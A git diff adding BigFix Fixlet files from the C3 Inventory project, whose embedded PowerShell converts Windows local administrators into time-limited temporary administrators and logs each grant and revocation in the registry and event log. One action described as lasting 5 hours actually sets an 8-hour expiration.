+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows (24158).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows (24158).bes
new file mode 100644
index 000000000..c09b32d46
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows (24158).bes	
@@ -0,0 +1,815 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows
+  ID       : 24158
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet cycles through all explicitely defined local administrators and marks them as temporary administrators. This can be used to expire administrative rights over time.</P>
+<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(number of elements of it > 0) of ( /*Authorized Requestors who have Permanent Administrative Rights */ intersection of ( /* Authorized Requestors who have any Admin */   set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry;   set of component strings of (sids of members of local group "Administrators") whose (exists user of it)  ) /* Subtract Current Temporary Administrators */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry  )]]></Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for 1 hour.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
+// -Current Temporary Administrators
+
+parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1 * hour)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action25221">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for&amp;nbsp;5 hours.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
+// -Current Temporary Administrators
+
+parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (8 * hour)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25222">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for 1 day.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
+// -Current Temporary Administrators
+
+parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1 * day)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25223">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights for 5 days.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
+// -Current Temporary Administrators
+
+parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (5 * day)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
